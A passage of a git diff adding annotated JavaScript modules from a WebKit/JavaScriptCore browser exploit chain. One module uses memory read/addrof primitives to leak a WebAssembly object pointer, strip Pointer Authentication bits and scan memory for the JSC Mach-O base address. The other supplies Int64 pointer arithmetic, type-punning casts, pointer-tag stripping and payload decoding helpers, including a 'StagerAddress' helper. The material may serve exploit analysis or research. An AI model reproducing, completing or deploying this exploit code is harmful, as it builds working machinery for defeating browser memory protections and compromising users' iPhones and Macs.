=== platformState.exploitPrimitive"); + const n = platformState.exploitPrimitive.addrof(t); + return platformState.exploitPrimitive.readInt64FromOffset( + n + + globalThis.moduleManager.getModuleByName( + "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + ).platformState.versionFlags.KaU4Z7 + ); + }, + n = t(WebAssembly.Table), + r = t(WebAssembly.Instance); + + let o = n; + + /** + * PAC detection: if the tagged pointers for Table and Instance differ + * in their upper bits (et field), PAC is active. + */ + if (n.et !== r.et) { + platformState.hasPAC = true; + window.log(`[PLATFORM] PAC (Pointer Authentication) detected`); + o = o.Tt(); /* Strip PAC bits */ + } + + /** + * Page-align the pointer downward (mask off lower 12 bits). + * o.it is the lower 32 bits; % 4096 gives the page offset. + */ + o = o.Bt(o.it % 4096); + + /** + * Scan backward through memory pages looking for the Mach-O 64-bit + * magic number 0xFEEDFACF. The read32FromInt64() method reads a 32-bit value, + * and we compare against the full 64-bit representation: + * 4294967296 + (-17958193) = 0xFEEDFACF = 4277009103 + */ + while (0xFEEDFACF !== platformState.exploitPrimitive.read32FromInt64(o)) { + o = o.Bt(4096); + } + + /** + * Read the CPU type at Mach-O header + 4 bytes (cputype field in mach_header_64). + */ + const e = platformState.exploitPrimitive.read32FromInt64(o.H(4)); + + if (0x01000007 === e) { + /* CPU_TYPE_X86_64 -> use RoAZdq runtime offsets */ + platformState.runtime = "RoAZdq"; + } else { + if (0x0100000C !== e) throw new Error("0x0100000C !== e"); + /* CPU_TYPE_ARM64 -> use PSNMWj runtime offsets */ + platformState.runtime = "PSNMWj"; + } + + /* Store the JSC Mach-O base address */ + platformState.yn = o; + window.log(`[PLATFORM] Runtime: ${platformState.runtime}, JSC base: 0x${o.it.toString(16)}`); + + /** + * Safety check: if runtime is still "LTgSl5", something went wrong + * (likely running in a simulator). Throw to abort. + */ + if ("LTgSl5" === platformState.runtime) throw new Error("LTgSl5 === platformState.runtime"); + + /* Re-apply version offsets for the newly detected runtime and freeze */ + applyVersionOffsets(); + Object.freeze(platformState.versionFlags); + }; + + /** + * Get or create the Mach-O parser for the detected JSC binary. + * + * Uses module "ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8" (the Mach-O + * parsing module) to create a parser. The parser method called depends + * on the runtime: + * - "PSNMWj" (ARM64) -> parser.ar() (ARM64 Mach-O parser) + * - "RoAZdq" (x86_64) -> parser.sr() (x86_64 Mach-O parser) + * + * Results are cached in platformState.machOParser. + * + * @returns {*} Mach-O parser instance + */ + r.cr = function () { + window.log(`[PLATFORM] Creating image list from JSC base address...`); + let t; + if (platformState.machOParser) { + t = platformState.machOParser; + } else { + if (!platformState.yn) throw new Error("!platformState.yn"); + + const n = globalThis.moduleManager.getModuleByName( + "ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8" + ), + r = platformState.machOParser = n.ur(); + + if ("PSNMWj" === platformState.runtime) { + t = r.ar(); + } else { + if ("RoAZdq" !== platformState.runtime) throw new Error("RoAZdq !== platformState.runtime"); + t = r.sr(); + } + platformState.machOParser = t; + } + return t; + }; + + return r; +}; \ No newline at end of file diff --git a/utility_module.js b/utility_module.js new file mode 100644 index 0000000..93613b2 --- /dev/null +++ b/utility_module.js @@ -0,0 +1,923 @@ +/** + * Utility / Type Conversion Module + * Module ID: 57620206d62079baad0e57e6d9ec93120c0f5247 + * + * This module provides low-level type conversion utilities used throughout + * the exploit chain. It handles conversions between JavaScript doubles, + * 64-bit integers, BigInts, and raw byte representations. These primitives + * are essential for constructing fake objects and manipulating pointers in + * the WebKit heap. + * + * Key capabilities: + * - Int64 class for 64-bit integer arithmetic (add, sub, and, or, xor, shift) + * - Conversion between doubles and their raw uint32 lo/hi halves + * - BigInt <-> Number <-> Double interconversion + * - Pointer tag stripping (JSC tagged pointer support) + * - UTF-16 encode/decode and string manipulation + * - Base64 decoding, LZW decompression + * - LEB128 encode/decode (for WebAssembly payloads) + * - URL resolution helpers + */ + +let m_57620206d62079baad0e57e6d9ec93120c0f5247 = () => { + let r = {}; + + // ────────────────────────────────────────────── + // BigInt polyfill wrapper + // ────────────────────────────────────────────── + + /** + * Convert a value to BigInt if the runtime supports it; otherwise return as-is. + */ + function i(t) { + return window.BigInt ? BigInt(t) : t; + } + r.U = i; + + // ────────────────────────────────────────────── + // Core constants + // ────────────────────────────────────────────── + + // Note: this is more like PAC, not pointer tag + /** Mask to strip the pointer tag from a JSC tagged pointer (low 39 bits). */ + const u = i(0x7FFFFFFFFF); // 0x7FFFFFFFFF + + /** Maximum safe value for the high 32 bits of a safe integer. */ + const o = 127; // 896953977 ^ 896953862 + + /** Number of bits to shift to reach the pointer tag in a 64-bit JSC value. */ + const s = i(39); + + r.B = s; + r.I = u; + r.v = o; + + // ────────────────────────────────────────────── + // Hex formatting + // ────────────────────────────────────────────── + + /** + * Convert a value to a hexadecimal string. Returns the string "null" for null. + */ + r.N = function toHexString(t) { + return null === t ? "null" : t.toString(16); + }; + + // ────────────────────────────────────────────── + // GC root tracking + // ────────────────────────────────────────────── + + /** Array of values to prevent garbage collection. */ + const gcRoots = []; + + /** + * Push a value into the GC roots array to prevent it from being collected. + */ + r.D = function pushGCRoot(t) { + gcRoots.push(t); + }; + + // ────────────────────────────────────────────── + // Shared typed-array views (for reinterpret casts) + // ────────────────────────────────────────────── + + const u32View = new Uint32Array(new ArrayBuffer(8)), + u8View = new Uint8Array(u32View.buffer), + u16View = new Uint16Array(u32View.buffer), + f64View = new Float64Array(u32View.buffer); + + // ────────────────────────────────────────────── + // Primitive conversion helpers + // ────────────────────────────────────────────── + + /** + * Combine a low 32-bit and high 32-bit value into a single JS number. + */ + function l(lo, hi) { + return lo + 0x100000000 * hi; + } + + /** + * Get the low 32 bits of a double (reinterpret cast). + */ + function b(t) { + return f64View[0] = t, u32View[0]; + } + + /** + * Get the high 32 bits of a double (reinterpret cast). + */ + function U(t) { + return f64View[0] = t, u32View[1]; + } + + /** + * Pack two uint32 values into a float64 (reinterpret cast). + */ + function B(t, n) { + return u32View[0] = t, u32View[1] = n, f64View[0]; + } + + /** + * Truncate a value to an unsigned 32-bit integer. + */ + r.S = function toUint32(t) { + u32View[0] = t; + return u32View[0]; + }; + + r.T = l; + + /** + * Reinterpret a double as a number (lo + hi * 2^32). + */ + r.P = function doubleToNumber(t) { + f64View[0] = t; + return l(u32View[0], u32View[1]); + }; + + r.C = b; + r.V = U; + + /** + * Extract the high 32 bits of a number by dividing by 2^32. + */ + r.F = function numberHi32(t) { + return t / 0x100000000 >>> 0; + }; + + /** + * Extract the low 32 bits of a number (unsigned right shift by 0). + */ + r._ = function numberLo32(t) { + return t >>> 0; + }; + /** + * Add a signed 32-bit offset to a double (reinterpret as Int64, add, convert back). + */ + r.q = function addOffset(t, n) { + // return Int64.fromDouble(t).addInt32(n).toDouble(); + return Int64.fromDouble(t).H(n).W(); + }; + + /** + * Add a signed 32-bit offset to a double (alias of addOffset). + */ + r.G = function (t, n) { + // return Int64.fromDouble(t).addInt32(n).toDouble(); + return Int64.fromDouble(t).H(n).W(); + }; + + /** + * Convert a JS number to a float64 by writing lo/hi into the typed-array view. + */ + r.J = function toDouble(t) { + u32View[1] = t / 0x100000000; + u32View[0] = t; + return f64View[0]; + }; + + /** + * Convert a BigInt to a JS number. + */ + r.K = function bigintToNumber(t) { + return l( + Number(t & BigInt(0xFFFFFFFF)), + Number(t >> BigInt(32)) + ); + }; + + /** + * Convert a JS number to a BigInt. + */ + r.O = function numberi(t) { + const lo = BigInt(t >>> 0); + return BigInt(t / 0x100000000 >>> 0) << BigInt(32) | lo; + }; + + /** + * Convert a double to a BigInt by reinterpreting its raw bytes. + */ + r.X = function doublei(t) { + f64View[0] = t; + const lo = BigInt(u32View[0]); + const hi = BigInt(u32View[1]); + return BigInt(hi) << BigInt(32) | lo; + }; + + r.Y = B; + + /** + * Pack four bytes (big-endian order) into a single uint32. + */ + r.Z = function packBytes(b3, b2, b1, b0) { + u8View[0] = b0; + u8View[1] = b1; + u8View[2] = b2; + u8View[3] = b3; + return u32View[0]; + }; + + /** + * Convert a number to 4 UTF-16 characters (for encoding 64-bit values as strings). + */ + r.tt = function toCharCodes(t) { + u32View[1] = t / 0x100000000; + u32View[0] = t; + return String.fromCharCode(u16View[0], u16View[1], u16View[2], u16View[3]); + }; + + /** + * Decode a base64 string into an ArrayBuffer. + */ + r.nt = function base64ToArrayBuffer(t) { + var n; + const decoded = atob(t); + const bytes = new Uint8Array(decoded.length); + for (n = 0; n < decoded.length; n++) { + bytes[n] = decoded.charCodeAt(n); + } + return bytes.buffer; + }; + + /** + * Convert a raw string (each char = one byte) into an ArrayBuffer. + */ + r.rt = function stringToArrayBuffer(t) { + var n; + const bytes = new Uint8Array(t.length); + for (n = 0; n < t.length; n++) { + bytes[n] = t.charCodeAt(n); + } + return bytes.buffer; + }; + + // ────────────────────────────────────────────── + // Int64: 64-bit integer arithmetic class + // ────────────────────────────────────────────── + + /** + * A 64-bit integer represented as two unsigned 32-bit halves (lo, hi). + * Provides basic arithmetic, bitwise operations, pointer-tag manipulation, + * and conversion to/from doubles, BigInts, and JS numbers. + */ + class Int64 { + // Wrapper for compatibility with obsfucated modules + static ut(t) {return Int64.fromNumber(t);} + static ot(t) {return Int64.fromBigInt(t);} + static st(t) {return Int64.fromUnsigned(t);} + static L(t) {return Int64.fromDouble(t);} + static ht(t) {return Int64.fromInt32(t);} + ct() {return this.toNumber();} + // ft, wt + gt() {return this.not();} + + constructor(lo, hi) { + this.it = lo >>> 0, this.et = hi >>> 0; + } + + /** Create an Int64 from a JS number (up to 2^53). */ + static fromNumber(t) { + return new Int64(t >>> 0, t / 0x100000000 >>> 0); + } + + /** Create an Int64 from a BigInt. */ + static fromBigInt(t) { + return new Int64(Number(t & BigInt(0x100000000 + (1599169875 ^ -1599169876))), Number(t >> BigInt(32))); + } + + /** Create an Int64 from an unsigned JS number. */ + static fromUnsigned(t) { + return new Int64(t >>> 0, t / 0x100000000 >>> 0); + } + + /** Create an Int64 by reinterpreting a float64's raw bits. */ + static fromDouble(t) { + return new Int64(b(t), U(t)); + } + + /** Create an Int64 from a signed 32-bit integer (sign-extends to 64 bits). */ + static fromInt32(t) { + return new Int64(t >>> 0, (t < 0 ? -1 : 0) >>> 0); + } + + /** Convert to a JS number (lo + hi * 2^32). May lose precision above 2^53. */ + toNumber() { + return 0x100000000 * this.et + this.it; + } + + /** Returns true if the sign bit (bit 63) is set. */ + ft() { + return this.et > 127; + } + + /** Check equality with a JS number. */ + wt(t) { + const n = t / 0x100000000 >>> 0, + r = t >>> 0; + return this.et === n && this.it === r; + } + + /** Bitwise NOT (~). */ + not() { + return new Int64(~this.it, ~this.et); + } + + /** 64-bit addition. */ + add(t) { + const n = this.it + t.it; + var r = this.et + t.et; + return n !== n >>> 0 && r++, new Int64(n >>> 0, r >>> 0); + } + + /** Add a signed 32-bit integer. */ + H(t) { + return this.add(Int64.fromInt32(t)); + } + + /** Check equality with another Int64. */ + lt(t) { + return this.it === t.it && this.et === t.et; + } + + /** Check inequality with another Int64. */ + bt(t) { + return this.it !== t.it || this.et !== t.et; + } + + /** 64-bit subtraction. */ + sub(t) { + return this.add(t.Ut()); + } + + /** Subtract a signed 32-bit integer. */ + Bt(t) { + return this.add(Int64.fromInt32(t).Ut()); + } + + /** Bitwise AND. */ + It(t) { + const n = this.it & t.it, + r = this.et & t.et; + return new Int64(n >>> 0, r >>> 0); + } + + /** Bitwise OR. */ + At(t) { + const n = this.it | t.it, + r = this.et | t.et; + return new Int64(n >>> 0, r >>> 0); + } + + /** Bitwise XOR. */ + vt(t) { + const n = this.it ^ t.it, + r = this.et ^ t.et; + return new Int64(n >>> 0, r >>> 0); + } + + /** Two's complement negation. */ + Ut() { + return this.gt().add(new Int64(1, 0)); + } + + /** Logical right shift by t bits (t must be < 32). */ + dt(t) { + if (t >= 32) throw new Error("t >= 32"); + return new Int64(this.it >>> t | this.et << 32 - t, this.et >>> t); + } + + toString() { + return ""; + } + + /** + * Convert to a safe JS number. Throws if the value exceeds + * o (i.e., the high 32 bits are > 127). + */ + yt() { + if (this.et > o) throw new Error("this.et > o"); + return 0x100000000 * this.et + this.it; + } + + /** Convert to a BigInt. */ + Nt() { + return BigInt(this.et) * BigInt(0x100000000) + BigInt(this.it); + } + + /** Strip the pointer tag (mask high 32 bits with o = 0x7F). */ + Dt() { + return new Int64(this.it, this.et & o); + } + + /** Return the tagged number (strip tag, then convert to number). */ + St() { + return 0x100000000 * (this.et & o) + this.it; + } + + /** Alias for stripTag() - returns a new Int64 with the tag stripped. */ + Tt() { + return new Int64(this.it, this.et & o); + } + + /** Reinterpret this Int64 as a float64 (pack lo and hi). */ + W() { + return B(this.it, this.et); + } + + /** Returns true if both halves are zero. */ + Et() { + return 0 === this.it && 0 === this.et; + } + + /** Get the low 32-bit half. */ + Pt() { + return this.it; + } + + /** + * Convert to a pointer value. Adds 0xFFF (4095) to lo, propagating + * carry, then masks with 0xFFFFF000 to page-align. + * Throws if hi > o. + */ + toPointerValue() { + if (this.et > o) throw new Error("this.et > o"); + var t = this.it + 0xFFF, + n = this.et; + return t !== t >>> 0 && n++, 0x100000000 * (n >>> 0) + ((t &= 0xFFFFF000) >>> 0); + } + };const m = Int64; + + // ────────────────────────────────────────────── + // String encoding / decoding helpers + // ────────────────────────────────────────────── + + /** + * Expand each character of a string into two bytes (UTF-16 LE byte pairs). + * Each character code is split into (code & 0xFF) and (code >> 8). + */ + function utf16Encode(t) { + const result = []; + var n; + for (n = 0; n < t.length; n++) { + const code = t.charCodeAt(n); + result.push(255 & code); // low byte + result.push(code >>> 8); // high byte + } + return String.fromCharCode.apply(null, result); + } + + /** + * Decode a UTF-16 LE byte-pair string back to normal characters. + * Every two bytes are combined into one character. + */ + function utf16Decode(t) { + var lo,hi,i,result = ""; + const len = t.length; + for (i = 0; i < len; i += 2) { + lo = t.charCodeAt(i); + hi = i + 1 < len ? t.charCodeAt(i + 1) : 0; + result += String.fromCharCode(lo | hi << 8); + } + return result; + } + + /** + * Decode a raw string: expand via utf16Encode, then truncate at the first NUL. + */ + function decodeString(t) { + var n = utf16Encode(t); + const r = n.indexOf("\0"); + return -1 !== r && (n = n.slice(0, r)), n; + } + + /** + * Convert a byte value to a two-character lowercase hex string. + */ + function byteToHex(t) { + var n = t.toString(16).toLowerCase(); + return 1 === n.length && (n = "0" + n), n; + } + + /** + * Convert a 32-bit integer to a 4-byte unicode escape sequence string. + * Used to produce raw binary strings from 32-bit values. + * + * Layout: the 32-bit value is split into 4 bytes and encoded as two + * %uHHHH escape pairs. + */ + function intToUnicodeEscape(t) { + var result; + const byte0 = 255 & t; // bits 0-7 + const byte3 = (0xFF000000 & t) >> 24 & 255; // bits 24-31 + const byte2 = (0xFF0000 & t) >> 16 & 255; // bits 16-23 + result = "%u"; + result += byteToHex((0xFF00 & t) >> 8 & 255); // bits 8-15 + result += byteToHex(byte0); + result += "%u"; + result += byteToHex(byte3); + result += byteToHex(byte2); + return unescape(result); + } + + /** + * Convert a float64 to a pair of uint32 values [hi, lo] (big-endian order). + */ + function doubleToUint32Pair(t) { + const buf = new Uint8Array(16); + const view = new DataView(buf.buffer, 0, 8); + const pair = new Array(2); + view.setFloat64(0, t); + pair[0] = view.getUint32(0, false); // big-endian hi + pair[1] = view.getUint32(4, false); // big-endian lo + return pair; + } + + /** + * Resolve a potentially relative URL to an absolute URL. + * If the string does not start with "http://" or "https://", it is + * resolved relative to the current page's location. + */ + function resolveUrl(t) { + var url = decodeString(t); + // Test if the URL already has an http(s) scheme + if (null === RegExp("^https?://").exec(url)) { + const host = location.host; + const protocol = location.protocol; + if ("/" === url.charAt(0)) { + // Absolute path + url = protocol + "//" + host + url; + } else { + // Relative path + if ("." === url.charAt(0) && "/" === url.charAt(1)) { + url = url.substring(2); + } + const pathname = location.pathname; + const lastSlash = pathname.lastIndexOf("/"); + url = protocol + "//" + host + pathname.slice(0, lastSlash + 1) + url; + } + } + window.log("resolveUrl => " + url); + return url; + } + + // ────────────────────────────────────────────── + // Export standalone functions + // ────────────────────────────────────────────── + + r.Vt = r.Int64 = Int64; + r.Ft = r.utf16Encode = utf16Encode; + r._t = r.utf16Decode = utf16Decode; + r.qt = r.decodeString = decodeString; + r.xt = r.byteToHex = byteToHex; + r.Wt = r.intToUnicodeEscape = intToUnicodeEscape; + + /** + * Read an unsigned 16-bit value from a string at byte offset n. + * The string is treated as packed 16-bit values: each character holds + * a 16-bit code unit. n is a byte offset (divided by 2 for char index). + */ + r.Ht = r.readU16FromString = function readU16FromString(t, n) { + n /= 2; + return 0x10000 * t.charCodeAt(n + 1) + t.charCodeAt(n); // 893998450 ^ 893932914 = 65536 + }; + + /** + * Convert two uint32 values to a float64 (via DataView, big-endian). + * @param {number} lo - low 32 bits (written at offset 4) + * @param {number} hi - high 32 bits (written at offset 0) + */ + r.Lt = r.u32PairToDouble = function u32PairToDouble(lo, hi) { + const view = new DataView(new ArrayBuffer(8), 0, 8); + view.setUint32(0, hi); + view.setUint32(4, lo); + return view.getFloat64(0); + }; + + /** + * Safely pack two uint32 values into a float64, with NaN-boxing validation. + * Throws if the resulting high bits indicate a NaN (0xFFF00000 mask). + */ + r.Mt = function safePackDouble(lo, hi) { + const f64 = new Float64Array(1); + const u32 = new Uint32Array(f64.buffer); + const check = new Uint32Array(1); + u32[0] = lo >>> 0; + u32[1] = hi >>> 0; + check[0] = 0xFFF00000 & u32[1]; // 878211651 ^ -878153149 + if (0xFFF00000 === check[0]) throw new Error(0); // 929592947 ^ -929532301 + return f64[0]; + }; + + /** + * Convert a float64 to a Uint8Array (8 bytes). + */ + r.Rt = function doubleToBytes(t) { + const buf = new Uint8Array(16); + new DataView(buf.buffer, 0, 8).setFloat64(0, t); + return buf; + }; + + r.jt = r.doubleToUint32Pair = doubleToUint32Pair; + + + /** + * Convert a double to a StagerAddress (from the uint32 pair). + * Returns null if the pair has fewer than 2 elements. + */ + r.kt = r.doubleToStagerAddress = function doubleToStagerAddress(t) { + const pair = doubleToUint32Pair(t); + let result = null; + if (pair.length >= 2) { + result = new StagerAddress(pair[1], pair[0]); + } + return result; + }; + + /** + * Write a uint32 value into a byte array at offset n (little-endian). + * Returns the new offset (n + 4). + */ + r.zt = function writeU32ToArray(arr, n, value) { + const v = value >>> 0; + arr[n] = 255 & v; // byte 0 + arr[n + 1] = v >> 8 & 255; // byte 1 + arr[n + 2] = v >> 16 & 255; // byte 2 + arr[n + 3] = v >> 24 & 255; // byte 3 + return n + 4; + }; + + /** + * Read a uint32 from a byte array at offset n (little-endian). + */ + r.Gt = function readU32FromArray(arr, n) { + return (arr[n] | arr[n + 1] << 8 | arr[n + 2] << 16 | arr[n + 3] << 24) >>> 0; + }; + + /** + * Decode a base64 string to a UTF-16 string. + * The base64-decoded bytes are treated as UTF-16 LE pairs. + */ + r.Jt = r.base64DecodeUtf16 = function base64DecodeUtf16(t) { + var n,code,i,result = ""; + const decoded = globalThis.atob(t); + const len = decoded.length; + // Pad with a NUL 4-byte unicode escape to ensure even length + n = decoded + intToUnicodeEscape(0); + for (i = 0; i < len; i += 2) { + code = n.charCodeAt(i); + code |= n.charCodeAt(i + 1) << 8; + code >>>= 0; + result += String.fromCharCode(code); + } + return result; + }; + + /** + * LZW decompression. + * Decompresses a string that was compressed with LZW encoding. + * Handles the surrogate gap: when the dictionary index reaches 0xD800 (55296), + * it jumps to 0xE000 (57344) to avoid the Unicode surrogate range. + */ + r.Kt = r.lzwDecompress = function lzwDecompress(t) { + const dict = new Map(); + var prev,entry,code,nextCode, + result = "", + dictSize = 256; // 1967607135 ^ 1967606879 + + // Initialize dictionary with single-byte entries (0..255) + for (prev = 0; prev < 256; prev += 1) {// 1984197735 ^ 1984197991 + dict.set(prev, String.fromCodePoint(prev)); + } + + [...t].forEach(function (ch, idx) { + if (0 === idx) { + // First character: output directly + prev = String.fromCodePoint(ch.codePointAt(0)); + entry = prev; + } else { + code = ch.codePointAt(0); + if (dict.has(code)) { + nextCode = dict.get(code); + } else { + if (code !== dictSize) throw new Error(0); + nextCode = prev + String.fromCodePoint(prev.codePointAt(0)); + } + entry += nextCode; + dict.set(dictSize++, prev + String.fromCodePoint(nextCode.codePointAt(0))); + // Skip the Unicode surrogate range (0xD800..0xDFFF) + if (55296 === dictSize) {// 879182932 ^ 879205460 = 0xD800 + dictSize = 57344; // 1886736973 ^ 1886761549 = 0xE000 + } + prev = nextCode; + } + }); + + return utf16Decode(entry); + }; + + r.Ot = r.resolveUrl = resolveUrl; + + /** + * Resolve a URL and pad it with NUL characters to a 4-byte boundary, + * then decode via utf16Decode. + */ + r.Qt = r.resolveUrlPadded = function resolveUrlPadded(t) { + var n = resolveUrl(t); + for (n += "\0"; n.length % 4 != 0;) n += "\0"; + return utf16Decode(n); + }; + + /** + * Encode a 64-bit Int64 value as unsigned LEB128 into a byte array. + * @param {Array} arr - destination byte array + * @param {number} n - starting offset + * @param {Int64} value - the value to encode + */ + r.Xt = r.encodeLEB128 = function encodeLEB128(arr, n, value) { + var byte; + for (;;) { + byte = value.lo % 128; // 1466329413 ^ 1466329541 + value = value.sub(Int64.fromInt32(byte)); + if (0 === value.hi && 0 === value.lo) { + + // Last byte: no continuation bit + } else {byte |= 128; // 1416853561 ^ 1416853689 (continuation) + } + arr[n++] = byte; + value = value.rshift(7); + if (!(128 & byte)) break; // 1110466900 ^ 1110467028 + } + }; + + /** + * Decode an unsigned LEB128 value from a byte array. + * @param {Array} arr - source byte array + * @param {number} n - starting offset + * @returns {{ Zt: number, $t: number }} decoded value and number of bytes consumed + */ + r.Yt = function decodeLEB128(arr, n) { + var result = 0, + shift = 0; + const startOffset = n; + do { + result += (127 & arr[n]) << shift; // 1447114358 ^ 1447114249 + shift += 7; + } while (128 & arr[n++]); // 1466525748 ^ 1466525876 + return { + Zt: result, + $t: n - startOffset + }; + }; + + /** + * Throw a generic error (used as an unreachable / abort marker). + */ + r.tn = function throwError() { + throw new Error("throwError"); + }; + + // ────────────────────────────────────────────── + // Pointer tag helper + // ────────────────────────────────────────────── + + /** + * Strip the pointer tag from a BigInt pointer value by masking with u. + */ + function stripPointerTag(t) { + //window.log("strip " + t.toString(16)); + return t & u; + } + + // ────────────────────────────────────────────── + // TypeHelper class + // ────────────────────────────────────────────── + + /** + * Helper class that wraps a DataView for performing type-punning conversions + * between various numeric types (int16, uint16, uint32, float32, float64, + * bigint64) via an internal 16-byte buffer. + */ + r.nn = class TypeHelper { + constructor() { + this.buffer = new ArrayBuffer(16), this.view = new DataView(this.buffer); + } + + /** Convert a value to a signed 16-bit integer. */ + un(t) { + this.view.setInt16(0, t, true); + return this.view.getInt16(0, true); + } + + /** Convert a value to an unsigned 16-bit integer. */ + on(t) { + this.view.setUint16(0, t, true); + return this.view.getUint16(0, true); + } + + /** Convert any value (number or bigint) to uint32. */ + sn(t) { + if ("bigint" == typeof t) { + this.view.setBigUint64(0, t, true); + } else { + this.view.setUint32(0, t, true); + } + return this.view.getUint32(0, true); + } + + /** Set a double, replace its low 32 bits, read back as double. */ + hn(t, n) { + this.view.setFloat64(0, t, true); + this.view.setUint32(0, n, true); + return this.view.getFloat64(0, true); + } + + /** Set a double, replace its high 32 bits, read back as double. */ + cn(t, n) { + this.view.setFloat64(0, t, true); + this.view.setUint32(4, n, true); + return this.view.getFloat64(0, true); + } + + /** Read a BigUint64 from 4 UTF-16 characters (8 bytes). */ + fn(t) { + for (let n = 0; n < 4; n++) { + let code = t.charCodeAt(n); + if (Number.isNaN(code)) throw new Error("Number.isNaN(code)"); + this.view.setUint16(2 * n, code, true); + } + return this.view.getBigUint64(0, true); + } + + /** Convert a float32 to its uint32 bit representation. */ + an(t) { + this.view.setFloat32(0, t, true); + return this.view.getUint32(0, true); + } + + /** Convert a BigInt (uint64) to a float64. */ + wn(t) { + this.view.setBigUint64(0, t, true); + return this.view.getFloat64(0, true); + } + + /** Set a BigUint64, replace byte 0 with n, read back as BigUint64. */ + gn(t, n) { + this.view.setBigUint64(0, t, true); + this.view.setUint8(0, Number(n)); + return this.view.getBigUint64(0, true); + } + + /** Set a BigUint64, replace low uint32 with n, read back as BigUint64. */ + ln(t, n) { + this.view.setBigUint64(0, t, true); + this.view.setUint32(0, Number(n), true); + return this.view.getBigUint64(0, true); + } + + /** Set a uint32, replace byte 0 with n, read back as uint32. */ + bn(t, n) { + this.view.setUint32(0, t, true); + this.view.setUint8(0, Number(n)); + return this.view.getUint32(0, true); + } + + /** Set a uint32, then overwrite it entirely with n, read back. */ + Un(t, n) { + this.view.setUint32(0, t, true); + this.view.setUint32(0, Number(n), true); + return this.view.getUint32(0, true); + } + + /** Convert a JS number to a BigUint64 by splitting into lo/hi uint32. */ + Bn(t) { + this.view.setUint32(0, Number(t >>> 0), true); + this.view.setUint32(4, Number(t / 0x100000000), true); + return this.view.getBigUint64(0, true); + } + + /** Set a BigUint64, replace low uint32, read back as BigUint64. */ + mn(t, n) { + this.view.setBigUint64(0, t, true); + this.view.setUint32(0, Number(n), true); + return this.view.getBigUint64(0, true); + } + + /** Identity: write a BigUint64 and read it back (normalization). */ + In(t) { + this.view.setBigUint64(0, t, true); + return this.view.getBigUint64(0, true); + } + }; + + r.An = stripPointerTag; + + /** + * Check whether a value has a pointer tag (i.e., stripping the tag changes it). + */ + r.vn = function (t) { + return stripPointerTag(t) !== t; + }; + + return r; +}; \ No newline at end of file